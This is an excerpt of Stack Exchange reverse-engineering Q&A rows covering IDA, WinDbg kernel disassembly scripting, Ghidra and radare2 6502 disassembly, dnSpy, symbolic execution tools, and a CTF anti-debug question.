  <row Id="20796" PostTypeId="1" CreationDate="2019-03-06T13:22:25.260" Score="0" ViewCount="603" Body="&lt;p&gt;When I open an executable (a.out), I can see header info:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XCe3W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XCe3W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I load an object file, headers and segments aren't loaded:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iASqB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iASqB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire header section is skipped. It goes directly to &lt;code&gt;main&lt;/code&gt; (starts at &lt;code&gt;55 48...&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's hexdump of the .o file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  cf fa ed fe 07 00 00 01  03 00 00 00 01 00 00 00&#xA;00000010  04 00 00 00 50 02 00 00  00 20 00 00 00 00 00 00&#xA;00000020  19 00 00 00 d8 01 00 00  00 00 00 00 00 00 00 00&#xA;00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00&#xA;00000040  c0 00 00 00 00 00 00 00  70 02 00 00 00 00 00 00&#xA;00000050  c0 00 00 00 00 00 00 00  07 00 00 00 07 00 00 00&#xA;00000060  05 00 00 00 00 00 00 00  5f 5f 74 65 78 74 00 00&#xA;00000070  00 00 00 00 00 00 00 00  5f 5f 54 45 58 54 00 00&#xA;00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00&#xA;00000090  3b 00 00 00 00 00 00 00  70 02 00 00 04 00 00 00&#xA;000000a0  30 03 00 00 04 00 00 00  00 04 00 80 00 00 00 00&#xA;000000b0  00 00 00 00 00 00 00 00  5f 5f 64 61 74 61 00 00&#xA;000000c0  00 00 00 00 00 00 00 00  5f 5f 44 41 54 41 00 00&#xA;000000d0  00 00 00 00 00 00 00 00  3b 00 00 00 00 00 00 00&#xA;000000e0  04 00 00 00 00 00 00 00  ab 02 00 00 00 00 00 00&#xA;000000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00&#xA;00000100  00 00 00 00 00 00 00 00  5f 5f 63 73 74 72 69 6e&#xA;00000110  67 00 00 00 00 00 00 00  5f 5f 54 45 58 54 00 00&#xA;00000120  00 00 00 00 00 00 00 00  3f 00 00 00 00 00 00 00&#xA;00000130  1f 00 00 00 00 00 00 00  af 02 00 00 00 00 00 00&#xA;00000140  00 00 00 00 00 00 00 00  02 00 00 00 00 00 00 00&#xA;00000150  00 00 00 00 00 00 00 00  5f 5f 63 6f 6d 70 61 63&#xA;00000160  74 5f 75 6e 77 69 6e 64  5f 5f 4c 44 00 00 00 00&#xA;00000170  00 00 00 00 00 00 00 00  60 00 00 00 00 00 00 00&#xA;00000180  20 00 00 00 00 00 00 00  d0 02 00 00 03 00 00 00&#xA;00000190  50 03 00 00 01 00 00 00  00 00 00 02 00 00 00 00&#xA;000001a0  00 00 00 00 00 00 00 00  5f 5f 65 68 5f 66 72 61&#xA;000001b0  6d 65 00 00 00 00 00 00  5f 5f 54 45 58 54 00 00&#xA;000001c0  00 00 00 00 00 00 00 00  80 00 00 00 00 00 00 00&#xA;000001d0  40 00 00 00 00 00 00 00  f0 02 00 00 03 00 00 00&#xA;000001e0  00 00 00 00 00 00 00 00  0b 00 00 68 00 00 00 00&#xA;000001f0  00 00 00 00 00 00 00 00  24 00 00 00 10 00 00 00&#xA;00000200  00 0d 0a 00 00 00 00 00  02 00 00 00 18 00 00 00&#xA;00000210  58 03 00 00 03 00 00 00  88 03 00 00 14 00 00 00&#xA;00000220  0b 00 00 00 50 00 00 00  00 00 00 00 00 00 00 00&#xA;00000230  00 00 00 00 02 00 00 00  02 00 00 00 01 00 00 00&#xA;00000240  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00&#xA;*&#xA;00000270  55 48 89 e5 48 83 ec 10  48 8d 3d 30 00 00 00 c7&#xA;00000280  45 fc 00 00 00 00 b0 00  e8 00 00 00 00 48 8d 3d&#xA;00000290  2a 00 00 00 89 45 f8 b0  00 e8 00 00 00 00 31 c9&#xA;000002a0  89 45 f4 89 c8 48 83 c4  10 5d c3 4b 45 4b 00 68&#xA;000002b0  65 6c 6c 6f 20 66 72 6f  6d 20 6d 61 63 00 68 65&#xA;000002c0  6c 6c 6f 20 66 72 6f 6d  20 6d 61 63 32 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same thing happens when I open a Windows executable (a.exe), not a Mach-O. Why does IDA skip headers?&lt;/p&gt;&#xA;" OwnerUserId="26540" LastEditorUserId="26540" LastEditDate="2019-03-06T13:31:27.920" LastActivityDate="2019-03-06T15:17:20.803" Title="How to make IDA load headers of object files?" Tags="|ida|object-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20797" PostTypeId="1" AcceptedAnswerId="20799" CreationDate="2019-03-06T13:48:37.180" Score="1" ViewCount="1266" Body="&lt;p&gt;How do I set the data to floating point number in quickier way than clicking on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Edit&amp;gt;Operand type&amp;gt;Number&amp;gt;Floating point&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a lot of wrongly detected casual DWORD's instead of Float's and clicking on every single of them with above is a giant waste of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I automate this process, or setup a shortcut for floating point numbers? For example, how 'B' for binary or 'D' for byte/word/dword work by default.&lt;/p&gt;&#xA;" OwnerUserId="15329" LastEditorUserId="266" LastEditDate="2019-03-07T14:37:45.530" LastActivityDate="2019-03-07T14:37:45.530" Title="IDA - floating point operand type" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20798" PostTypeId="2" ParentId="20797" CreationDate="2019-03-06T13:52:28.120" Score="2" Body="&lt;p&gt;Type &lt;strong&gt;Alt+D&lt;/strong&gt; to open up data type setup and check &lt;strong&gt;&quot;4 Float&quot;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now every time you cycle through &lt;strong&gt;D&lt;/strong&gt; on binary you will end up with one more datatype after dword which is float&lt;/p&gt;&#xA;" OwnerUserId="15329" LastActivityDate="2019-03-06T13:52:28.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20799" PostTypeId="2" ParentId="20797" CreationDate="2019-03-06T14:08:50.773" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;for data items: &lt;kbd&gt;Alt-D, F&lt;/kbd&gt; &lt;/li&gt;&#xA;&lt;li&gt;Menu: Options|Shortcuts..., add a custom shortcut for OpFloat action.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-03-06T14:08:50.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20800" PostTypeId="2" ParentId="20796" CreationDate="2019-03-06T15:17:20.803" Score="1" Body="&lt;p&gt;By default IDA skips &quot;unimportant&quot; parts which are unlikely to contain code. Mach-O is actually a sort of an exception in that the header is loaded by default (although collapsed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes you can decide which parts to load by checking [x] Manual Load in the initial load dialog.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-03-06T15:17:20.803" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20803" PostTypeId="1" CreationDate="2019-03-07T03:13:09.823" Score="3" ViewCount="1374" Body="&lt;p&gt;I am using windbg for local kernel debugging. I want to view the disassembly of a kernel function (eg. AuxKlibQueryModuleInformation). I am not familiar with kernel debugging. Please help me do this.&lt;/p&gt;&#xA;" OwnerUserId="27696" LastEditorUserId="266" LastEditDate="2019-03-08T14:10:16.983" LastActivityDate="2019-03-08T14:10:16.983" Title="How to use windbg to view assembly code of kernel function?" Tags="|windbg|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20805" PostTypeId="2" ParentId="20803" CreationDate="2019-03-07T03:43:54.553" Score="3" Body="&lt;p&gt;1) you should be aware local kernel debugging is not actual kernel debugging&lt;br&gt;&#xA;2) i hope you have enabled /debug on switch in bcdecdit prior to using local kernel debugging feature&lt;br&gt;&#xA;3) i hope you are aware a third party app is available which does not require setting /debug on switch    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;sysinternals &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/livekd&quot; rel=&quot;nofollow noreferrer&quot;&gt;livekd&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i hope you have properly set the symbol path for downloading symbols using one of the recommended methods like setting an environment variable _NT_SYMBOL_PATH&lt;/p&gt;&#xA;&#xA;&lt;p&gt;usage is simple just run &lt;strong&gt;windbg -&gt;file-&gt;kernel debugging-&gt; local&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or from a command line  &lt;strong&gt;windbg -kl&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;issue &lt;strong&gt;.reload /f&lt;/strong&gt; so that windbg downloads the required symbol files aka pdbs to the directory you have already set up in _NT_SYMBOL_PATH&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you can examine symbols which you need using &lt;code&gt;x&lt;/code&gt; command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x *!*aux*     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here x is the command&lt;br&gt;&#xA;the * before ! (called bang in windbg )  is a wildcard for module name&lt;br&gt;&#xA;the * after  ! (called bang in windbg ) is wildcard for partial symbol name    matches&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and windbg will show you all the matches for that partially looked up symbols as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; x *!*auxklib*&#xA;81f35962          hidusb!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;81f38dfe          hidusb!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)&#xA;81f38dac          hidusb!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;81f45bc0          HIDCLASS!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;81f4ace6          HIDCLASS!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)    &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;81f4ac94          HIDCLASS!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;81f5a696          kbdhid!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;81f5dfcc          kbdhid!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;81f5df7a          kbdhid!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;81f66612          mouhid!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;81f69e52          mouhid!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;81f69e00          mouhid!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;88c66ff6          Wdf01000!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;88c79686          Wdf01000!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;88c79634          Wdf01000!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;88c8b418          WDFLDR!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;88c8b3c6          WDFLDR!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;8957e926          cdrom!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;8958949c          cdrom!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)&#xA;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;8958944b          cdrom!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;8f5af972          i8042prt!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;8f5b51ae          i8042prt!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)&#xA;8f5b515d          i8042prt!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;8f5c291c          kbdclass!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;8f5c701a          kbdclass!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)&#xA;8f5c6fc8          kbdclass!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;8f5d46b0          mouclass!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;8f5d8da4          mouclass!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)&#xA;8f5d8d52          mouclass!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;903f4420          igdkmd32!AuxKlibGetImageExportDirectory (&amp;lt;no parameter info&amp;gt;)&#xA;903f43ca          igdkmd32!AuxKlibGetBugCheckData (&amp;lt;no parameter info&amp;gt;)&#xA;907169cc          igdkmd32!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)&#xA;90716980          igdkmd32!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;9aafd0df          srv2!AuxKlibQueryModuleInformation (&amp;lt;no parameter info&amp;gt;)           &#xA;9aafd08e          srv2!AuxKlibInitialize (&amp;lt;no parameter info&amp;gt;)&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since AuxKlibQueryModuleInformation is implemented in many modules then it must be some sort of wrapper to some function which needs to be ascertained by disassembling each function possibly a system call &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;strong&gt;uf /c&lt;/strong&gt; command can disassemble a complete function and shows which child functions are called &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are using a recent windbg then you can write a javascript to disassemble each function and grep for a common call in all the functions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a sample javascript that you can improvise &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function exec ( cmdstr ) {&#xA;    return host.namespace.Debugger.Utility.Control.ExecuteCommand( cmdstr );&#xA;}&#xA;function log( instr ){&#xA;    host.diagnostics.debugLog( instr + &quot;\n&quot; );&#xA;}&#xA;function auximpl() {&#xA;    var auxkqmi = exec( &quot;x /0 *!*auxklibquerymod*&quot; )&#xA;    for ( var line of auxkqmi ) {&#xA;        disfun = exec( &quot;uf /c &quot; + line )&#xA;        curline = &quot;&quot;&#xA;        for ( var a of disfun ) {&#xA;            if( ! ( a.includes( &quot;Zw&quot; ) ) ) { &#xA;                curline = a &#xA;            }&#xA;            else {&#xA;                log( a + &quot;\t@\t&quot; + curline  ) &#xA;                var pstart = (curline.lastIndexOf(&quot;(&quot;) + 1 )&#xA;                var pend = pstart + 8&#xA;                var prevstr = &quot;ub &quot; + curline.substring( pstart,pend  ) + &quot; l1&quot;&#xA;                var nextstr = &quot;u  &quot; + curline.substring( pstart,pend  ) + &quot; l1&quot; &#xA;                var previnst = exec ( prevstr )&#xA;                var nextinst = exec ( nextstr )&#xA;                for ( var [b,c] of [previnst , nextinst] ) {&#xA;                    log ( b )&#xA;                    log ( c )&#xA;                }&#xA;            }&#xA;        }        &#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results will be as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dx @$scriptContents.auximpl()&#xA;    call to nt!ZwQuerySystemInformation (8286623c)  @     Wdf01000!AuxKlibQueryModuleInformation+0x8c (87218712):&#xA;Wdf01000!AuxKlibQueryModuleInformation+0x8a:&#xA;87218710 6a0b            push    0Bh&#xA;Wdf01000!AuxKlibQueryModuleInformation+0x8c:&#xA;87218712 ff15b8722087    call    dword ptr [Wdf01000!_imp__ZwQuerySystemInformation (872072b8)]&#xA;    call to nt!ZwQuerySystemInformation (8286623c)  @     WDFLDR!AuxKlibQueryModuleInformation+0x8c (8722a4a4):&#xA;WDFLDR!AuxKlibQueryModuleInformation+0x8a:&#xA;8722a4a2 6a0b            push    0Bh&#xA;WDFLDR!AuxKlibQueryModuleInformation+0x8c:&#xA;8722a4a4 ff157c802287    call    dword ptr [WDFLDR!_imp__ZwQuerySystemInformation (8722807c)]&#xA;    call to nt!ZwQuerySystemInformation (8286623c)  @     cdrom!AuxKlibQueryModuleInformation+0x8c (87ad1528):&#xA;cdrom!AuxKlibQueryModuleInformation+0x8a:&#xA;87ad1526 6a0b            push    0Bh&#xA;cdrom!AuxKlibQueryModuleInformation+0x8c:&#xA;87ad1528 ff150871ac87    call    dword ptr [cdrom!_imp__ZwQuerySystemInformation (87ac7108)]&#xA;    call to nt!ZwQuerySystemInformation (8286623c)  @     i8042prt!AuxKlibQueryModuleInformation+0x8c (8d4d323a):&#xA;i8042prt!AuxKlibQueryModuleInformation+0x8a:&#xA;8d4d3238 6a0b            push    0Bh&#xA;i8042prt!AuxKlibQueryModuleInformation+0x8c:&#xA;8d4d323a ff1574e14c8d    call    dword ptr [i8042prt!_imp__ZwQuerySystemInformation (8d4ce174)]&#xA;    call to nt!ZwQuerySystemInformation (8286623c)  @     kbdclass!AuxKlibQueryModuleInformation+0x8c (8d4e50a6):&#xA;kbdclass!AuxKlibQueryModuleInformation+0x8a:&#xA;8d4e50a4 6a0b            push    0Bh&#xA;kbdclass!AuxKlibQueryModuleInformation+0x8c:&#xA;8d4e50a6 ff152c114e8d    call    dword ptr [kbdclass!_imp__ZwQuerySystemInformation (8d4e112c)]&#xA;    call to nt!ZwQuerySystemInformation (8286623c)  @     mouclass!AuxKlibQueryModuleInformation+0x8c (8d4f1e30):&#xA;mouclass!AuxKlibQueryModuleInformation+0x8a:&#xA;8d4f1e2e 6a0b            push    0Bh&#xA;mouclass!AuxKlibQueryModuleInformation+0x8c:&#xA;8d4f1e30 ff1524e14e8d    call    dword ptr [mouclass!_imp__ZwQuerySystemInformation (8d4ee124)]&#xA;    call to nt!ZwQuerySystemInformation (8286623c)  @     srv2!AuxKlibQueryModuleInformation+0x8c (90d1c16b):&#xA;srv2!AuxKlibQueryModuleInformation+0x8a:&#xA;90d1c169 6a0b            push    0Bh&#xA;srv2!AuxKlibQueryModuleInformation+0x8c:&#xA;90d1c16b ff150c63d190    call    dword ptr [srv2!_imp__ZwQuerySystemInformation (90d1630c)]&#xA;@$scriptContents.auximpl()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-03-07T17:24:59.140" LastActivityDate="2019-03-07T17:24:59.140" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20806" PostTypeId="1" AcceptedAnswerId="20807" CreationDate="2019-03-07T09:58:06.727" Score="2" ViewCount="231" Body="&lt;p&gt;I would like to know if there are disassemblers based on a symbolic analysis, I'm beginner in RE, but I think that a disassembler based on symbolic techniques can be very interesting and could disassemble most of the obfuscated binaries..&lt;/p&gt;&#xA;" OwnerUserId="27539" LastEditorUserId="27539" LastEditDate="2019-03-07T10:52:18.660" LastActivityDate="2019-03-07T10:52:18.660" Title="Does a symbolic disassembler exist?" Tags="|disassembly|binary-analysis|obfuscation|deobfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20807" PostTypeId="2" ParentId="20806" CreationDate="2019-03-07T10:26:12.080" Score="0" Body="&lt;p&gt;Well, most of the disassembler based on '&lt;em&gt;symbolic execution&lt;/em&gt;' are kind of symbolic. The problem is that you need to modelize so much from the environment (system calls answers, interaction with other programs, ...) that most of them also use concrete execution when the program venture outside of their model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, you should look for &lt;a href=&quot;https://en.wikipedia.org/wiki/Symbolic_execution&quot; rel=&quot;nofollow noreferrer&quot;&gt;symbolic execution&lt;/a&gt; tools such as &lt;a href=&quot;https://angr.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr&lt;/a&gt;, &lt;a href=&quot;https://miasm.re/blog/&quot; rel=&quot;nofollow noreferrer&quot;&gt;miasm&lt;/a&gt; and many others.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-03-07T10:26:12.080" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20808" PostTypeId="1" AcceptedAnswerId="20818" CreationDate="2019-03-07T16:37:21.367" Score="1" ViewCount="786" Body="&lt;p&gt;I'm doing one of my first linux crackmes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first blocks of code, it goes inside some anti-debug routine and inside one of those it &lt;strong&gt;forks&lt;/strong&gt; and after it calls a &lt;strong&gt;waitpid&lt;/strong&gt; routine. I can verify it and understand purely the code but I can't get why the creators put this code and how it can be an anti-debug technique. These are the interesting blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0D7w4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0D7w4.png&quot; alt=&quot;Fork and Waitpid calls&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22655" LastActivityDate="2019-03-08T00:10:36.770" Title="Fork and Waitpid calls in a CTF linux binary" Tags="|linux|anti-debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20809" PostTypeId="1" CreationDate="2019-03-07T17:41:13.633" Score="0" ViewCount="526" Body="&lt;p&gt;Hello I am trying to see if there is a way to see &amp;amp; keep track of the IP, and other registers as you would in OllyDbg or x64Dbg?&lt;/p&gt;&#xA;" OwnerUserId="24346" LastActivityDate="2019-04-06T18:02:40.537" Title="Is there a way to see &amp; keep track of registers in dnSpy?" Tags="|disassembly|debugging|.net|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20810" PostTypeId="1" AcceptedAnswerId="20837" CreationDate="2019-03-07T17:50:09.873" Score="3" ViewCount="1823" Body="&lt;p&gt;I'm trying to disassemble some 6502 using Ghidra. The following (prerequisites: POSIX-style shell, Python 2.x) will generate a file called &lt;code&gt;test.dat&lt;/code&gt; that demonstrates the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python -c &quot;open('test.dat','wb').write(''.join([chr(x) for x in [0xa2,0xa3,0xa9,0x00,0x9d,0x40,0x00,0xca,0x10,0xfa,0x60]]))&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, from in Ghidra:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create new project (wherever you like)&lt;/li&gt;&#xA;&lt;li&gt;import &lt;code&gt;test.dat&lt;/code&gt; created above, with Language as &lt;code&gt;6502&lt;/code&gt;/&lt;code&gt;default&lt;/code&gt; and &lt;code&gt;Base Address&lt;/code&gt; as 0x400&lt;/li&gt;&#xA;&lt;li&gt;double click &lt;code&gt;test.dat&lt;/code&gt; in &lt;code&gt;Active Project&lt;/code&gt; to get to the CodeBrowser window&lt;/li&gt;&#xA;&lt;li&gt;say No when analysis is offered&lt;/li&gt;&#xA;&lt;li&gt;go to location $400 and press D to disassemble&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The disassembly is pretty short.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                             //&#xA;                             // RAM &#xA;                             // fileOffset=0, length=11&#xA;                             // RAM: 0400-040a&#xA;                             //&#xA;            0400 a2 a3           LDX        #0xa3&#xA;            0402 a9 00           LDA        #0x0&#xA;                             LAB_0404                                        XREF[1]:     0408(j)  &#xA;            0404 9d 40 00        STA        $0x40,X=&amp;gt;DAT_00e3                                = ??&#xA;            0407 ca              DEX&#xA;            0408 10 fa           BPL        LAB_0404&#xA;            040a 60              RTS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The odd thing here is that rather than generating a label for &lt;code&gt;$0040&lt;/code&gt;, which is the base address of the table, it's generated one for &lt;code&gt;$00e3&lt;/code&gt; - the first byte accessed - as if X is a TOC pointer, or similar, and $0040 is the offset. This isn't appropriate for 6502 code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this little example I can right click and fix up the references by hand, but I don't mind admitting that I don't want to have to do this for an entire program. 6502 code is full of this stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I stop this from happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I got very lost trying to follow through the Java source provided! - but I did figure out that this sort of reference is known as an extended reference, and appears to be common to all targets. I couldn't find anything in the documentation about these, though, or how to disable them.)&lt;/p&gt;&#xA;" OwnerUserId="27694" LastActivityDate="2019-03-10T04:42:41.240" Title="Can I stop Ghidra from creating extended references?" Tags="|disassembly|disassemblers|ghidra|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20811" PostTypeId="2" ParentId="20809" CreationDate="2019-03-07T17:53:44.300" Score="1" Body="&lt;p&gt;Well, not really. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dnSpy&lt;/code&gt; is not a native debugger like &lt;code&gt;OllyDbg&lt;/code&gt;/&lt;code&gt;x64Dbg&lt;/code&gt; but rather a managed one. It is used for .NET assemblies which also are not native applications. The code is IL and it is stack-based so there are no registers on that level. Also there's not really a way to track instruction pointer.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-03-07T17:53:44.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20813" PostTypeId="2" ParentId="20810" CreationDate="2019-03-07T18:16:54.797" Score="1" Body="&lt;p&gt;haven't used ghidra yet but checking your bytes on radare2 it appears the diassembly is right &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;radare2 -&#xA;[0x00000000]&amp;gt; e io.cache = true&#xA;[0x00000000]&amp;gt; w \xa2\xa3\xa9\x00\x9d\x40\x00\xca\x10\xfa\x60&#xA;[0x00000000]&amp;gt; px 10&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  a2a3 a900 9d40 00ca 10fa                 .....@....&#xA;[0x00000000]&amp;gt; e asm.arch = 6502&#xA;[0x00000000]&amp;gt; pd 6&#xA;            0x00000000      a2a3           ldx #0xa3&#xA;            0x00000002      a900           lda #0x00&#xA;        .-&amp;gt; 0x00000004      9d4000         sta 0x0040,x  //(0xa3 + 0x40 == 0xe3)&#xA;        :   0x00000007      ca             dex&#xA;        `=&amp;lt; 0x00000008      10fa           bpl 0x000004&#xA;            0x0000000a      60             rts&#xA;[0x00000000]&amp;gt; af&#xA;[0x00000000]&amp;gt; pdc&#xA;function fcn.00000000 () {&#xA;    //  3 basic blocks&#xA;    loc_0x0:&#xA;&#xA;       x = #0xa3&#xA;       a = #0x00&#xA;   do&#xA;   {&#xA;        loc_0x4:&#xA;&#xA;           [0x0040+x ] = a&#xA;           dex&#xA;           bpl 0x000004             //unlikely&#xA;       } while (?);&#xA;  return;&#xA;&#xA;    loc_0xa:&#xA;&#xA;       rts&#xA;(break)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-03-07T18:16:54.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
